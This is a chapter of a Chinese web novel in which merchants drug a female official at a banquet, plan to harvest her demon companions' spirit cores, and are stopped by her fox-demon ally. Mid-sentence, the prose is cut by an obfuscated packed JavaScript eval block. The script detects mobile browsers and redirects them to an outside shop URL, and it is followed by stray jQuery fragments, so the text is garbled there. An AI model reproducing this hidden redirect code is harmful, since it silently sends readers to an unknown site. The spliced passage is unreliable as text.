20. 浮玉山鸿门宴
作品:《妖王被迫恋爱脑后帮我搞妖怪就业》 浮玉山到了。
山脚下镇子不大,却修得齐整。远处山坳里隐约可见矿洞入口,一列列矿车正沿着轨道缓缓滑行,空气中有一股淡淡的煤灰味,混着山野草木的气息。
李昭宁刚落地,就看见一群人迎了上来。
打头的是个富态的中年人,穿一袭绛紫色锦袍,腰间挂着块成色极好的玉佩。他脸上堆着笑,笑得恰到好处,既不过分热情显得谄媚,就是那种让你挑不出毛病,但也看不清底细的笑。
萧蘅看了一眼,没说话。
“李大人远道而来,辛苦了辛苦了!”富态中年人拱手行礼,腰弯得恰到好处,“在下姓金,是这浮玉山商会的会长。这几位都是咱们这儿的商户,听说大人要来,都盼着一睹风采呢。”
他身后站着四五个人,穿着打扮都不俗,此刻齐齐行礼,满面笑容。那笑容整齐得像是练过,让人看着舒服,但又说不上来哪里不对劲。
李昭宁还礼:“金会长客气了。”
“哪里哪里,李大人能来,是我们浮玉山的福气。”金会长侧身让路,做了个请的手势,“这一路劳累,我们备了薄酒,为大人接风洗尘。”
李昭宁正要开口说煤矿的事,金会长已经笑着补充:“大人放心,煤矿的事不急,咱们边吃边聊,边吃边聊。大人难得来一趟,总得让我们尽尽地主之谊。”
话说到这份上,也不好再推辞。李昭宁点点头:“那就叨扰了。”
一行人往镇子里走。
萧蘅落后半步,目光从那几个商户脸上扫过。他们还在笑,但笑的时候眼睛会不自觉地往他这边瞟一下,然后又飞快地移开。
那种瞟法,像是在看什么稀奇的东西,又像是在估算什么值钱的物件。
他收回目光,什么都没说。
宴席设在一座气派的宅院里。
院子挺大,青砖黛瓦,雕梁画栋,不愧是煤矿行长的家,就是气派。正中一张大圆桌,摆满了菜,鸡鸭鱼肉、山珍海味,热气腾腾地冒着香,光是看着就让人食欲大开。
金会长亲自把李昭宁让到上座,萧蘅坐在她旁边。小妖们和芝兰被安排在旁边的小桌上,也是好酒好食好灵果招待着,那几个小的一坐下就两眼放光,但又不敢动筷子,只拿眼睛往李昭宁这边瞟。
李昭宁冲它们点点头,示意可以吃,它们这才欢天喜地地动起手来。
她看了一眼,放心了。
金会长端起酒杯:“李大人,这第一杯酒,敬您。”他的笑容真诚得挑不出毛病,“感谢您为蓟州百姓做的那些事,减税、除贪、办快递,咱们浮玉山的人都听说了,佩服,真是佩服!”
李昭宁端起杯:“金会长过誉了。今天来,主要是为了煤矿的事……”
“哎,不急不急。”金会长笑着打断,手往下压了压,“大人一路辛苦,先喝杯酒暖暖身子。煤矿的事,咱们慢慢聊,有的是时间。”
李昭宁不好再说什么,把这杯酒喝了。
酒入喉,微辣,带着一股粮食的香气,应该是好酒。
金会长又给她满上。
“第二杯,敬您这魄力。”他竖起大拇指,“一个女人,敢跟妖怪打交道,还办了那个什么快递,让它们帮着送东西。咱们这儿的人,想都不敢想。”
李昭宁笑了笑:“妖也好,人也罢,都是过日子。能帮上忙的,就是好帮手。”
“说得好!”金会长眼睛一亮,冲旁边几个人使了个眼色,“听见没有?李大人这话说得多通透!冲这句话,咱们得再敬一杯!”
旁边那几个商户纷纷附和,举着杯子凑过来。
“李大人,我敬您!”
“大人,我也敬您!”
李昭宁一一应对。
几杯酒下肚,她开始觉得身上有点热,脸颊也微微发烫。她以为是酒劲上来了,没太在意,伸手去夹菜想压一压。
萧蘅在旁边看着她。
他看着她喝了一杯又一杯,看着那几个商人你来我往地劝酒,看着他们的笑容越来越殷切,眼睛却越来越亮。
那种亮法,让他想起山里那些盯上猎物的野兽。
他又看了一眼李昭宁面前的酒杯。酒是没问题的,他闻过。但喝这么多……
他伸出手,按住了她正要举起的杯子。
李昭宁愣了一下,转头看他。
萧蘅没说话,只是看着她。
李昭宁眨眨眼,小声说:“没事,正事还没谈呢,再应付几杯。”
萧蘅眉头皱了皱。他想说“别喝了”,想说他来挡,想直接把杯子拿走。
但李昭宁已经把他的手轻轻推开,端起杯子,又跟人喝了一杯。
萧蘅看着自己被推开的手,顿了顿,慢慢收回来。
没再拦。
他只是看着。
看着她跟那些人周旋,看着她笑得得体大方,看着她一杯接一杯地喝。
那些人还在劝酒,但一说到煤矿的事,就立刻岔开话题。
萧蘅在旁边看着,看着那些人脸上的笑,看着李昭宁越来越红的脸色。
她的手开始不稳了,说话的时候,舌头也有一点打结,但她还在撑着,还在说那些运输价格、交接地点、时间安排。
那些人笑着听,点头,附和,但一说到正题,就又岔开。
萧蘅忽然又伸出手,按住了她的酒杯。
这一次,他没有松开。
李昭宁转头看他,眼神已经有点涣散,但还是努力聚焦在他脸上。
“怎么了?”
萧蘅看着她。
她的脸红得不正常,眼睛也有点发直。这不是正常喝酒的样子。
他开口:“别喝了。”
李昭宁愣了一下,然后笑了笑,那笑容因为醉意变得有点憨:“没事,我还能喝。正事还没谈呢。”
她说着,又要去拿杯子,萧蘅按住她的手,没让她动。
李昭宁眨眨眼,想说什么,但一张嘴,忽然发现舌头有点不听使唤了。
“我……”
她晃了晃头,想让自己清醒一点。但头更晕了。
眼前的人开始有重影。一个萧蘅,变成两个,又变成三个。她扶着桌子,想站起来,腿却软得像面条,使不上劲。
“李昭宁。”萧蘅的声音从很远的地方传来。
她想回应,想说“我没事”。
但眼皮越来越沉,越来越沉。
最后看见的,是萧蘅那张骤然变色的脸。
和对面金会长脸上,那终于不加掩饰的笑。
*
李昭宁醒过来的时候,后脑勺还在一跳一跳地疼。
她试图睁眼,眼皮沉得像灌了铅。视线模糊了很久,才慢慢看清眼前的景象,一间陌生的屋子。屋里点着熏香,味道甜腻腻的,熏得人更晕。
不对。
李昭宁猛地清醒过来,挣扎着想要起身,却发现手腕被什么勒住了。低头一看,是拇指粗的麻绳,把她牢牢绑在椅子上。绳子勒得很紧,稍微动一下就疼。
“醒了?”
一个油腻腻的声音从旁边传来。
李昭宁转头,看见金会长坐在不远处的太师椅上,端着茶杯,笑眯眯地看着她。旁边还站着那几个迎接的商户,一个个脸上都带着那种让人恶心的笑。
“金会长。”李昭宁声音沙哑,喉咙干得像要冒烟,“你这是干什么?”
“干什么?”金会长放下茶杯,站起身,慢慢踱到她面前。他俯下身,凑近她,酒气喷在她脸上,混着那股甜腻的熏香味,让人想吐。
“李大人,您是真不明白还是装不明白?”
他直起身,背着手,绕着她慢慢走了一圈。
“您在蓟州搞什么妖界速递,让那些畜生在人间跑来跑去,我们早就看不过眼了。那些东西,凭什么跟我们平起平坐?”
他停下来,又凑近她,笑得意味深长:“现在倒好,自己送上门来了。”
李昭宁心里一沉:“什么意思?”
旁边一个尖嘴猴腮的人接话:“李大人有所不知,这妖丹可是大补之物。尤其是修炼出人形的妖,一颗妖丹,能延寿三十年。那穿山甲的甲片,磨成粉,治百病。那蛟的鳞片,入药炼丹,比什么灵芝人参都强。”
他舔了舔嘴唇,眼睛里闪着贪婪的光:“您带来的那两只,可都是好东西。”
李昭宁猛地挣扎起来,绳子勒进手腕,火辣辣地疼:“你们疯了!那是活生生的妖!”
“活生生怎么了?”一个胖子商人开口,声音尖细刺耳,“畜生活着不就是给人吃的?猪羊牛马能吃,妖怎么就不能吃?”
李昭宁盯着他,一字一顿:“它们不是畜生。它们是能说话、能思考、有感情的生灵。”
胖子嗤笑一声。
“李大人,您这觉悟太高,我们理解不了。”他摇着头,一脸“你这人怎么这么想不开”的表情,“我们只知道,妖丹能长生,甲片能治病,这就够了。”
他转身往外走:“去把那两只妖带过来。今晚就开膛取丹。”
李昭宁拼命挣扎,绳索纹丝不动。
金会长走到门口,忽然回头。
“对了,李大人。您那位朋友,那个长得挺俊的小白脸,是不是也是妖啊?”
李昭宁心头猛地一跳。
“他身上那股子味儿,我们的巫师隔着老远就闻出来了。”金会长笑得意味深长,“可惜啊,他酒喝得少,迷不倒他。不过没关系,我们准备了别的……”
话没说完。
门忽然被踹开了。
巨大的气浪把两扇门板直接掀飞,砸在对面的墙上,轰然一声巨响,像把天空撕裂。那股甜腻的熏香味瞬间被冲散,取而代之的是一股冷冽的、带着山林气息的风。
李昭宁看到那一缕白影掠过,便知道是他。
金会长还没反应过来,已经被一只手掐住脖子,整个人离地而起。
萧蘅站在门口,雪白的狐狸耳朵从玄紫色发间探出,七条白色尾巴在身后缓缓摆动。他的身后躺着那个所谓的巫师,巫师手中还握着符咒,但符咒已被撕成两半,人已经不省人事。
室外的光从他身后照进来,把他的轮廓映成一道白色的剪影。他的眼睛散发着鎏金般的光芒,那光芒很亮,亮得刺眼,却又冷得让人心底发寒。
他的声音压得很低,像野兽的低吼:“你刚才说什么?”
那声音不大,却让屋里所有人同时打了个寒战。
金会长被他掐着脖子,脸憋得通红,双手拼命去掰那只手,却像掰在铁钳上,纹丝不动。他的脚在空中乱蹬,喉咙里发出“嗬嗬”的声音:“我……我……”
“萧蘅。”李昭宁喊了一声,“金刚和阿蛟呢?”
“浮雀它们去救了。”萧蘅没有回头。他只是盯着金会长,盯着这个刚才说要“开膛取丹”的人。他的眼睛越来越亮,那鎏金的光芒几乎要溢出来。
他的手慢慢收紧,金会长的脸从红变紫,眼睛开始往上翻。
“杀了你,”萧蘅的声音很轻,轻得像在说一件不值一提的小事,“我都不需要动妖力。”
“萧蘅!”
李昭宁的声音让他动作顿了顿。
他偏过头,看了她一眼。
那一眼里有很多东西,愤怒,厌恶,还有一种她看不懂的复杂。像是在看一个让他又恨又放不下的人。
然后他松开手。金会长像一摊烂泥一样滑到地上,剧烈地咳嗽起来,一边咳一边往后缩。
萧蘅没有再看他。他走到李昭宁身边,只是轻轻一挥手,那拇指粗的麻绳便断成几截,落在她脚边。
李昭宁的手腕上一片通红,勒出了深深的血痕。
萧蘅低头看了一眼。
他的眉头皱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213534|197122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一下。那一下皱得很轻,如果不是一直盯着他看,根本不会发现。
然后他什么也没说,转身往外走。
“萧蘅……”
他顿住脚步,没有回头。
“走吧。”声音很淡,淡得像隔了一层什么,“它们回来了。”
李昭宁看着他的背影,忽然觉得有什么东西不对劲。
他平时不是这样的。平时他就算生气,也会跟她呛几句,阴阳怪气几句。可现在他什么都不说,什么都不问,只是让她走。
但她来不及多想,起身跟了上去。
身后,那个胖子商人悄悄往后退,想从侧门溜走。
萧蘅头也没回,只是随手一挥。一道劲风掠过,胖子惨叫一声,捂着膝盖滚倒在地。
“再动一下。”萧蘅的声音从门口传来,还是那么淡,“腿就别要了。”
没人敢动了。
院子里,浮雀、玄武和芝兰正护着金刚和阿蛟。
金刚缩成一团,浑身发抖。阿蛟身上有几道血痕,皮肉翻着,看起来是被什么利器划的,但好在不深。旁边躺着几个打手,哼哼唧唧爬不起来。
看见李昭宁,金刚一下子扑过来,抱着她的腿不放,那小爪子抓得死紧。
“大人大人大人,他们要杀我呜呜呜他们说要扒我的甲片……要挖我的丹……”
它说不下去了,只是抱着她的腿,把脸埋在她衣袍里,浑身发抖。
李昭宁蹲下来,抱住它,一遍遍抚摸它的甲片。那些甲片平时是硬的,现在却软趴趴的,像是被吓没了力气:“没事了。没事了。”
她抬头看向萧蘅。
萧蘅站在院子里,阳光直直地照在他身上。他没有躲,就那么站在最亮的地方,背对着她。浮雀飞过来,落在他肩上,小声说了句什么。萧蘅没有回应,只是站在那里,一动不动。
浮雀看了看他,又看了看李昭宁,啾了一声,那声音里有点小心翼翼的意味。
李昭宁站起身,走到萧蘅身边:“萧蘅。”
他没应。
“大家都没事吧?”
他依然没应。
风从院子里穿过,带着血腥气,还有远处山林的气息。阳光很烈,晒得人皮肤发烫,可站在他身边,却莫名觉得有点冷。
过了一会儿,他忽然开口:“你听见他刚才说的了吗?”
李昭宁一愣。
“妖丹,能延寿三十年。”萧蘅的声音很平,平得像在说别人的事,“甲片入药,磨成粉,治百病。鳞片炼丹,比灵芝人参都强。”
他顿了顿。
“你知道我们妖族曾经有多少同类,死在人类手里吗?就为了那一颗丹,那几片甲,那一身皮肉。从上古到现在,几万年了,死都死不完。”
李昭宁张了张嘴,说不出话。她其实想反驳妖怪也是如此对待人类,可眼下不是争辩的时候。
萧蘅转过头,看着她。
明明是正午,阳光最烈的时候,他的眼睛却幽深得像一潭水,看不到底。那鎏金的光芒已经收起来了,只剩下原本的黑。可那黑里,好像藏着很多东西。
“李昭宁,你做的那些事,妖界速递,教化学院,让他们学认字学规矩。你以为能改变什么?”
他顿了顿:“在他们眼里,妖永远是妖。永远是能杀、能吃、能炼丹的东西。你教得再好,学得再多,在他们眼里,还是一样。”
李昭宁喉咙发紧:“不是所有人都是这样……”
“是吗?”萧蘅嘴角勾了勾,却没有笑意,那勾起的弧度只是让他的脸看起来更冷,“那你告诉我,今天这屋里,有几个是人?有几个是愿意跟妖和平共处的?你跟他们喝了那么多酒,说了那么多话,他们听进去一句了吗?”
李昭宁沉默了。
萧蘅看着她。
阳光落在他脸上,把他的轮廓照得清晰分明。那双眼睛里,倒映着她的影子。很小的一个影子。
“我不是怪你。”
他的声音忽然低下去。
低得不像那个刚才还掐着人脖子说“杀了你我都不用动妖力”的妖,低得像是怕被人听见。
“我只是在想……”
他移开目光,望向远处的山。那里的山影重重叠叠,一层叠着一层,看不到尽头。
“为什么你是人类。”
“而我,偏偏是妖。”
李昭宁站在原地,看着他的侧脸:“人有善恶妖亦有,不能以偏概全,世界阴阳平衡我们无法打破,但我会竭尽所能创造出一个和平美好的小世界。”
阳光很烈,照得清一切。可站在他身边,她忽然觉得有什么东西横在他们中间。
明明只隔了一步,却像隔着什么看不见的东西。那东西看不见摸不着,却实实在在地挡在那里,让他们怎么走也走不到一起。
萧蘅转过头,看着她。这次的目光,和刚才不一样。刚才那一眼里,有愤怒,有厌恶,有复杂。
现在这一眼,什么都没有。
空空的。
像是他把所有情绪都收起来了,收进那个从来不让任何人进去的地方。那个地方上了锁,锁得死死的,谁也进不去。
“走吧。”
他说。
声音很淡。
淡得像是在对一个陌生人说话。淡得像他们之间什么都没有发生过。淡得像那些夜晚的守候、那些别扭的关心、突发的吻,好像都是她一个人的幻觉。
他转身,朝院外走去。
李昭宁站在原地,看着他的背影。
金刚蹭过来,抱着她的腿,真是的,明明它受了欺负,还在小声安慰她:“你们不要吵架……”
李昭宁没有回答。
她只是看着那个越来越远的背影。
阳光把他的影子拖得很长,长到几乎要触到她的脚尖。
可他没有回头。

